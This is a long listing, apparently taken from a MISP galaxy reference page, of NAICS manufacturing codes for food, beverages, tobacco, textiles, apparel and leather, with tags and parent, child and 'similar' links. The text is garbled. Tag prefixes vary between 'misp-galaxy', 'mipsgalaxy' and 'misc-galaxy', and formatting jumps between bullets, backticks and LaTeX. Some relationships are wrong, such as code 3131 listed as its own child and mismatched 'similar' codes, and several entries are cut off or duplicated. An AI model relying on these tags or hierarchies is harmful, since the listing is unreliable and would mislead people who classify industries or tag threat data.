The tag is: misp-galaxy:naics="311411"

View relationships graph

311411 has relationships with:

- child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311412

Frozen Specialty Food Manufacturing
The tag is: misp-galaxy:naics="311412"

View relationships graph

311412 has relationships with:

• child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

31142

Fruit and Vegetable Canning, Pickling, and Drying

The tag is: misp-galaxy:naics="31142"

View relationships graph

31142 has relationships with:

• child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311421

Fruit and Vegetable Canning

The tag is: misp-galaxy:naics="311421"

View relationships graph

311421 has relationships with:

• child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311422

Specialty Canning

The tag is: misp-galaxy:naics="311422"

View relationships graph

311422 has relationships with:

• child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

311423

Dried and Dehydrated Food Manufacturing

The tag is: misp-galaxy:naics="311423"
311423 has relationships with:
  • child-of: misp-galaxy:naics="3114" with estimative-language:likelihood-probability="likely"

3115
Dairy Product Manufacturing
The tag is: misp-galaxy:naics="3115"

3115 has relationships with:
  • child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31151" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311511" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311512" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311513" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311514" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31152" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="311520" with estimative-language:likelihood-probability="likely"

31151
Dairy Product (except Frozen) Manufacturing
The tag is: misp-galaxy:naics="31151"

31151 has relationships with:
  • child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"

311511
Fluid Milk Manufacturing
The tag is: misp-galaxy:naics="311511"

311511 has relationships with:
311512
Creamery Butter Manufacturing
The tag is: mipsgalaxy:naics="311512"
View relationships graph
311512 has relationships with:
  • child-of: mipsgalaxy:naics="3115" with estimative-language:likelihood-probability="likely"

311513
Cheese Manufacturing
The tag is: mipsgalaxy:naics="311513"
View relationships graph
311513 has relationships with:
  • child-of: mipsgalaxy:naics="3115" with estimative-language:likelihood-probability="likely"

311514
Dry, Condensed, and Evaporated Dairy Product Manufacturing
The tag is: mipsgalaxy:naics="311514"
View relationships graph
311514 has relationships with:
  • child-of: mipsgalaxy:naics="3115" with estimative-language:likelihood-probability="likely"

31152
Ice Cream and Frozen Dessert Manufacturing
The tag is: mipsgalaxy:naics="31152"
View relationships graph
31152 has relationships with:
  • child-of: mipsgalaxy:naics="3115" with estimative-language:likelihood-probability="likely"
  • similar: mipsgalaxy:naics="311520" with estimative-language:likelihood-probability="likely"
311520

Ice Cream and Frozen Dessert Manufacturing

The tag is: misp-galaxy:naics="311520"

View relationships graph

311520 has relationships with:

• child-of: misp-galaxy:naics="3115" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="31152" with estimative-language:likelihood-probability="likely"

3116

Animal Slaughtering and Processing

The tag is: misp-galaxy:naics="3116"

View relationships graph

3116 has relationships with:

• child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31161" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="311611" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="311612" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="311613" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="311615" with estimative-language:likelihood-probability="likely"

31161

Animal Slaughtering and Processing

The tag is: misp-galaxy:naics="31161"

View relationships graph

31161 has relationships with:

• child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"

311611

Animal (except Poultry) Slaughtering

The tag is: misp-galaxy:naics="311611"

View relationships graph

311611 has relationships with:

• child-of: misp-galaxy:naics="31161" with estimative-language:likelihood-probability="likely"
311611 has relationships with:
  • child-of: misp-galaxy:naics="3116" with estimative-language:likelihood-probability="likely"

311612
Meat Processed from Carcasses
The tag is: misp-galaxy:naics="311612"

311613
Rendering and Meat Byproduct Processing
The tag is: misp-galaxy:naics="311613"

311615
Poultry Processing
The tag is: misp-galaxy:naics="311615"

3117
Seafood Product Preparation and Packaging
The tag is: misp-galaxy:naics="3117"
3117 has relationships with:

- child-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="31171"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311710"` with estimative-language:likelihood-probability="likely"

**31171**
Seafood Product Preparation and Packaging
The tag is: `misp-galaxy:naics="31171"`
View relationships graph

31171 has relationships with:

- child-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="311710"` with estimative-language:likelihood-probability="likely"

**311710**
Seafood Product Preparation and Packaging
The tag is: `misp-galaxy:naics="311710"`
View relationships graph

311710 has relationships with:

- child-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="31171"` with estimative-language:likelihood-probability="likely"

**3118**
Bakeries and Tortilla Manufacturing
The tag is: `misp-galaxy:naics="3118"`
View relationships graph

3118 has relationships with:

- child-of: `misp-galaxy:naics="311"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="31181"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311811"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="311813"` with estimative-language:likelihood-probability="likely"
31181
Bread and Bakery Product Manufacturing
The tag is: misp-galaxy:naics="31181"
View relationships graph
31181 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311811
Retail Bakeries
The tag is: misp-galaxy:naics="311811"
View relationships graph
311811 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311812
Commercial Bakeries
The tag is: misp-galaxy:naics="311812"
View relationships graph
311812 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"

311813
Frozen Cakes, Pies, and Other Pastries Manufacturing
The tag is: misp-galaxy:naics="311813"
31182

Cookie, Cracker, and Pasta Manufacturing

The tag is: *misp-galaxy:naics="31182"

311821

Cookie and Cracker Manufacturing

The tag is: *misp-galaxy:naics="311821"

311824

Dry Pasta, Dough, and Flour Mixes Manufacturing from Purchased Flour

The tag is: *misp-galaxy:naics="311824"

31183

Tortilla Manufacturing

The tag is: *misp-galaxy:naics="31183"
31183 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311830" with estimative-language:likelihood-probability="likely"

311830

Tortilla Manufacturing

The tag is: misp-galaxy:naics="311830"

View relationships graph

311830 has relationships with:

- child-of: misp-galaxy:naics="3118" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31183" with estimative-language:likelihood-probability="likely"

3119

Other Food Manufacturing

The tag is: misp-galaxy:naics="3119"

View relationships graph

3119 has relationships with:

- child-of: misp-galaxy:naics="311" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311911" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311919" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31194" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311941" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311991" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="311999" with estimative-language:likelihood-probability="likely"
31191
Snack Food Manufacturing
The tag is: misp-galaxy:naics="31191"
View relationships graph
31191 has relationships with:
• child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311911
Roasted Nuts and Peanut Butter Manufacturing
The tag is: misp-galaxy:naics="311911"
View relationships graph
311911 has relationships with:
• child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311919
Other Snack Food Manufacturing
The tag is: misp-galaxy:naics="311919"
View relationships graph
311919 has relationships with:
• child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

31192
Coffee and Tea Manufacturing
The tag is: misp-galaxy:naics="31192"
View relationships graph
31192 has relationships with:
• child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="311920" with estimative-language:likelihood-probability="likely"
311920
Coffee and Tea Manufacturing
The tag is: misp-galaxy:naics="311920"

View relationships graph

311920 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31192" with estimative-language:likelihood-probability="likely"

31193
Flavoring Syrup and Concentrate Manufacturing
The tag is: misp-galaxy:naics="31193"

View relationships graph

31193 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="311930" with estimative-language:likelihood-probability="likely"

311930
Flavoring Syrup and Concentrate Manufacturing
The tag is: misp-galaxy:naics="311930"

View relationships graph

311930 has relationships with:

- child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31193" with estimative-language:likelihood-probability="likely"

31194
Seasoning and Dressing Manufacturing
The tag is: misp-galaxy:naics="31194"

View relationships graph

31194 has relationships with:
311941
Mayonnaise, Dressing, and Other Prepared Sauce Manufacturing
The tag is: misc-galaxy:naics="311941"
View relationships graph
311941 has relationships with:
- child-of: misc-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311942
Spice and Extract Manufacturing
The tag is: misc-galaxy:naics="311942"
View relationships graph
311942 has relationships with:
- child-of: misc-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

31199
All Other Food Manufacturing
The tag is: misc-galaxy:naics="31199"
View relationships graph
31199 has relationships with:
- child-of: misc-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

311991
Perishable Prepared Food Manufacturing
The tag is: misc-galaxy:naics="311991"
View relationships graph
311991 has relationships with:
- child-of: misc-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"
311999
All Other Miscellaneous Food Manufacturing
The tag is: misp-galaxy:naics="311999"
View relationships graph
311999 has relationships with:
  • child-of: misp-galaxy:naics="3119" with estimative-language:likelihood-probability="likely"

312
Beverage and Tobacco Product Manufacturing
The tag is: misp-galaxy:naics="312"
View relationships graph
312 has relationships with:
  • parent-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="3122" with estimative-language:likelihood-probability="likely"

3121
Beverage Manufacturing
The tag is: misp-galaxy:naics="3121"
View relationships graph
3121 has relationships with:
  • child-of: misp-galaxy:naics="312" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31211" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="312111" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="312112" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="312113" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31212" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="312120" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31213" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="312130" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31214" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="312140" with estimative-language:likelihood-probability="likely"

31211

text

31211
Soft Drink and Ice Manufacturing
The tag is: misp-galaxy:naics="31211"

View relationships graph

31211 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

312111
Soft Drink Manufacturing
The tag is: misp-galaxy:naics="312111"

View relationships graph

312111 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

312112
Bottled Water Manufacturing
The tag is: misp-galaxy:naics="312112"

View relationships graph

312112 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"

312113
Ice Manufacturing
The tag is: misp-galaxy:naics="312113"

View relationships graph

312113 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
31212
Breweries

The tag is: misp-galaxy:naics="31212"

View relationships graph

31212 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="312120" with estimative-language:likelihood-probability="likely"

312120
Breweries

The tag is: misp-galaxy:naics="312120"

View relationships graph

312120 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="31212" with estimative-language:likelihood-probability="likely"

31213
Wineries

The tag is: misp-galaxy:naics="31213"

View relationships graph

31213 has relationships with:

• child-of: misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="312130" with estimative-language:likelihood-probability="likely"

312130
Wineries

The tag is: misp-galaxy:naics="312130"

View relationships graph

312130 has relationships with:
31214
Distilleries
The tag is: *misp-galaxy:naics="31214"

View relationships graph

31214 has relationships with:

- child-of: *misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="312140" with estimative-language:likelihood-probability="likely"

312140
Distilleries
The tag is: *misp-galaxy:naics="312140"

View relationships graph

312140 has relationships with:

- child-of: *misp-galaxy:naics="3121" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="31214" with estimative-language:likelihood-probability="likely"

3122
Tobacco Manufacturing
The tag is: *misp-galaxy:naics="3122"

View relationships graph

3122 has relationships with:

- child-of: *misp-galaxy:naics="312" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="31223" with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="312230" with estimative-language:likelihood-probability="likely"

31223
Tobacco Manufacturing
The tag is: *misp-galaxy:naics="31223"
31223 has relationships with:

- child-of: misp-galaxy:naics="3122" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="312230" with estimative-language:likelihood-probability="likely"

312230
Tobacco Manufacturing
The tag is: misp-galaxy:naics="312230"

313 has relationships with:

- parent-of: misp-galaxy:naics="3131" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="3133" with estimative-language:likelihood-probability="likely"

3131
Fiber, Yarn, and Thread Mills
The tag is: misp-galaxy:naics="3131"
3131
Fiber, Yarn, and Thread Mills
The tag is: misp-galaxy:naics="3131"

View relationships graph

3131 has relationships with:

• child-of: misp-galaxy:naics="3131" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="313110" with estimative-language:likelihood-probability="likely"

31310
Fiber, Yarn, and Thread Mills
The tag is: misp-galaxy:naics="31310"

View relationships graph

31310 has relationships with:

• child-of: misp-galaxy:naics="3131" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="31311" with estimative-language:likelihood-probability="likely"

3132
Fabric Mills
The tag is: misp-galaxy:naics="3132"

View relationships graph

3132 has relationships with:

• child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31321" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="313210" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31322" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="313220" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31323" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="313230" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31324" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="313240" with estimative-language:likelihood-probability="likely"
31321

Broadwoven Fabric Mills

The tag is: *misp-galaxy:naics*="31321"

View relationships graph

31321 has relationships with:

- child-of: *misp-galaxy:naics*="3132" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="313210" with estimative-language:likelihood-probability="likely"

313210

Broadwoven Fabric Mills

The tag is: *misp-galaxy:naics*="313210"

View relationships graph

313210 has relationships with:

- child-of: *misp-galaxy:naics*="3132" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="313220" with estimative-language:likelihood-probability="likely"

31322

Narrow Fabric Mills and Schiffli Machine Embroidery

The tag is: *misp-galaxy:naics*="31322"

View relationships graph

31322 has relationships with:

- child-of: *misp-galaxy:naics*="3132" with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics*="313220" with estimative-language:likelihood-probability="likely"

313220

Narrow Fabric Mills and Schiffli Machine Embroidery

The tag is: *misp-galaxy:naics*="313220"

View relationships graph

313220 has relationships with:
31323
Nonwoven Fabric Mills
The tag is: `misp-galaxy:naics="31323"`

View relationships graph

31323 has relationships with:

- child-of: `misp-galaxy:naics="3132"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="313230"` with estimative-language:likelihood-probability="likely"

313230
Nonwoven Fabric Mills
The tag is: `misp-galaxy:naics="313230"`

View relationships graph

313230 has relationships with:

- child-of: `misp-galaxy:naics="3132"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="31323"` with estimative-language:likelihood-probability="likely"

31324
Knit Fabric Mills
The tag is: `misp-galaxy:naics="31324"`

View relationships graph

31324 has relationships with:

- child-of: `misp-galaxy:naics="3132"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="313240"` with estimative-language:likelihood-probability="likely"

313240
Knit Fabric Mills
The tag is: `misp-galaxy:naics="313240"`
View relationships graph

313240 has relationships with:

- child-of: misp-galaxy:naics="3132" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31324" with estimative-language:likelihood-probability="likely"

3133

Textile and Fabric Finishing and Fabric Coating Mills

The tag is: misp-galaxy:naics="3133"

View relationships graph

3133 has relationships with:

- child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31331" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31332" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="313320" with estimative-language:likelihood-probability="likely"

31331

Textile and Fabric Finishing Mills

The tag is: misp-galaxy:naics="31331"

View relationships graph

31331 has relationships with:

- child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="313310" with estimative-language:likelihood-probability="likely"

313310

Textile and Fabric Finishing Mills

The tag is: misp-galaxy:naics="313310"

View relationships graph

313310 has relationships with:

- child-of: misp-galaxy:naics="313" with estimative-language:likelihood-probability="likely"
31332
Fabric Coating Mills
The tag is: `misp-galaxy:naics="31332"`
View relationships graph

31332 has relationships with:
- child-of: `misp-galaxy:naics="3133"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="313320"` with estimative-language:likelihood-probability="likely"

313320
Fabric Coating Mills
The tag is: `misp-galaxy:naics="313320"`
View relationships graph

313320 has relationships with:
- child-of: `misp-galaxy:naics="3133"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="31332"` with estimative-language:likelihood-probability="likely"

314
Textile Product Mills
The tag is: `misp-galaxy:naics="314"`
View relationships graph

314 has relationships with:
- parent-of: `misp-galaxy:naics="3141"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3149"` with estimative-language:likelihood-probability="likely"

3141
Textile Furnishings Mills
The tag is: `misp-galaxy:naics="3141"`
View relationships graph
3141 has relationships with:

- child-of: misp-galaxy:naics="314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31412" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314120" with estimative-language:likelihood-probability="likely"

31411
Carpet and Rug Mills
The tag is: misp-galaxy:naics="31411"
View relationships graph

31411 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="314110" with estimative-language:likelihood-probability="likely"

314110
Carpet and Rug Mills
The tag is: misp-galaxy:naics="314110"
View relationships graph

314110 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31411" with estimative-language:likelihood-probability="likely"

31412
Curtain and Linen Mills
The tag is: misp-galaxy:naics="31412"
View relationships graph

31412 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="314120" with estimative-language:likelihood-probability="likely"
314120
Curtain and Linen Mills

The tag is: misp-galaxy:naics="314120"

View relationships graph

314120 has relationships with:

- child-of: misp-galaxy:naics="3141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31412" with estimative-language:likelihood-probability="likely"

3149
Other Textile Product Mills

The tag is: misp-galaxy:naics="3149"

View relationships graph

3149 has relationships with:

- child-of: misp-galaxy:naics="314" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314994" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="314999" with estimative-language:likelihood-probability="likely"

31491
Textile Bag and Canvas Mills

The tag is: misp-galaxy:naics="31491"

View relationships graph

31491 has relationships with:

- child-of: misp-galaxy:naics="3149" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="314910" with estimative-language:likelihood-probability="likely"

314910
Textile Bag and Canvas Mills
The tag is: \textit{misp-galaxy:naics}="314910"

View relationships graph

314910 has relationships with:

- child-of: \textit{misp-galaxy:naics}="3149" with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics}="31491" with estimative-language:likelihood-probability="likely"

\textbf{31499}

All Other Textile Product Mills

The tag is: \textit{misp-galaxy:naics}="31499"

View relationships graph

31499 has relationships with:

- child-of: \textit{misp-galaxy:naics}="3149" with estimative-language:likelihood-probability="likely"

\textbf{314994}

Rope, Cordage, Twine, Tire Cord, and Tire Fabric Mills

The tag is: \textit{misp-galaxy:naics}="314994"

View relationships graph

314994 has relationships with:

- child-of: \textit{misp-galaxy:naics}="3149" with estimative-language:likelihood-probability="likely"

\textbf{314999}

All Other Miscellaneous Textile Product Mills

The tag is: \textit{misp-galaxy:naics}="314999"

View relationships graph

314999 has relationships with:

- child-of: \textit{misp-galaxy:naics}="3149" with estimative-language:likelihood-probability="likely"

\textbf{315}

Apparel Manufacturing

The tag is: \textit{misp-galaxy:naics}="315"
315 has relationships with:
  - parent-of: misp-galaxy:naics="3151" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="3159" with estimative-language:likelihood-probability="likely"

3151
Apparel Knitting Mills
The tag is: misp-galaxy:naics="3151"

3151 has relationships with:
  - child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="31512" with estimative-language:likelihood-probability="likely"
  - parent-of: misp-galaxy:naics="315120" with estimative-language:likelihood-probability="likely"

31512
Apparel Knitting Mills
The tag is: misp-galaxy:naics="31512"

31512 has relationships with:
  - child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
  - similar: misp-galaxy:naics="315120" with estimative-language:likelihood-probability="likely"

315120
Apparel Knitting Mills
The tag is: misp-galaxy:naics="315120"

315120 has relationships with:
  - child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
  - similar: misp-galaxy:naics="31512" with estimative-language:likelihood-probability="likely"
3152
Cut and Sew Apparel Manufacturing
The tag is: misp-galaxy:naics="3152"
View relationships graph
3152 has relationships with:
  • child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31521" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="315210" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="31525" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="315250" with estimative-language:likelihood-probability="likely"

31521
Cut and Sew Apparel Contractors
The tag is: misp-galaxy:naics="31521"
View relationships graph
31521 has relationships with:
  • child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="315210" with estimative-language:likelihood-probability="likely"

315210
Cut and Sew Apparel Contractors
The tag is: misp-galaxy:naics="315210"
View relationships graph
315210 has relationships with:
  • child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="31521" with estimative-language:likelihood-probability="likely"

31525
Cut and Sew Apparel Manufacturing (except Contractors)
The tag is: misp-galaxy:naics="31525"
View relationships graph

31525 has relationships with:

• child-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="315250" with estimative-language:likelihood-probability="likely"

315250
Cut and Sew Apparel Manufacturing (except Contractors)
The tag is: misp-galaxy:naics="315250"

View relationships graph

315250 has relationships with:

• child-of: misp-galaxy:naics="3152" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="31525" with estimative-language:likelihood-probability="likely"

3159
Apparel Accessories and Other Apparel Manufacturing
The tag is: misp-galaxy:naics="3159"

View relationships graph

3159 has relationships with:

• child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31599" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="315990" with estimative-language:likelihood-probability="likely"

31599
Apparel Accessories and Other Apparel Manufacturing
The tag is: misp-galaxy:naics="31599"

View relationships graph

31599 has relationships with:

• child-of: misp-galaxy:naics="315" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="315990" with estimative-language:likelihood-probability="likely"
315990
Apparel Accessories and Other Apparel Manufacturing
The tag is: `misp-galaxy:naics="315990"`

View relationships graph

315990 has relationships with:
- child-of: `misp-galaxy:naics="3159"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="31599"` with estimative-language:likelihood-probability="likely"

316
Leather and Allied Product Manufacturing
The tag is: `misp-galaxy:naics="316"`

View relationships graph

316 has relationships with:
- parent-of: `misp-galaxy:naics="3162"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="3169"` with estimative-language:likelihood-probability="likely"

3161
Leather and Hide Tanning and Finishing
The tag is: `misp-galaxy:naics="3161"`

View relationships graph

3161 has relationships with:
- child-of: `misp-galaxy:naics="316"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="31611"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="316110"` with estimative-language:likelihood-probability="likely"

31611
Leather and Hide Tanning and Finishing
The tag is: `misp-galaxy:naics="31611"`

View relationships graph

31611 has relationships with:
- parent-of: `misp-galaxy:naics="316111"` with estimative-language:likelihood-probability="likely"
- parent-of: `misp-galaxy:naics="316110"` with estimative-language:likelihood-probability="likely"
31611 has relationships with:

- child-of: misp-galaxy:naics="3161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="316110" with estimative-language:likelihood-probability="likely"

316110

Leather and Hide Tanning and Finishing

The tag is: misp-galaxy:naics="316110"

View relationships graph

316110 has relationships with:

- child-of: misp-galaxy:naics="3161" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="31611" with estimative-language:likelihood-probability="likely"

3162

Footwear Manufacturing

The tag is: misp-galaxy:naics="3162"

View relationships graph

3162 has relationships with:

- child-of: misp-galaxy:naics="316" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="31621" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="316210" with estimative-language:likelihood-probability="likely"

31621

Footwear Manufacturing

The tag is: misp-galaxy:naics="31621"

View relationships graph

31621 has relationships with:

- child-of: misp-galaxy:naics="3162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="316210" with estimative-language:likelihood-probability="likely"
316210
Footwear Manufacturing
The tag is: misp-galaxy:naics="316210"

View relationships graph

316210 has relationships with:

• child-of: misp-galaxy:naics="3162" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="31621" with estimative-language:likelihood-probability="likely"

3169
Other Leather and Allied Product Manufacturing
The tag is: misp-galaxy:naics="3169"

View relationships graph

3169 has relationships with:

• child-of: misp-galaxy:naics="316" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="31699" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="316990" with estimative-language:likelihood-probability="likely"

31699
Other Leather and Allied Product Manufacturing
The tag is: misp-galaxy:naics="31699"

View relationships graph

31699 has relationships with:

• child-of: misp-galaxy:naics="3169" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="316990" with estimative-language:likelihood-probability="likely"

316990
Other Leather and Allied Product Manufacturing
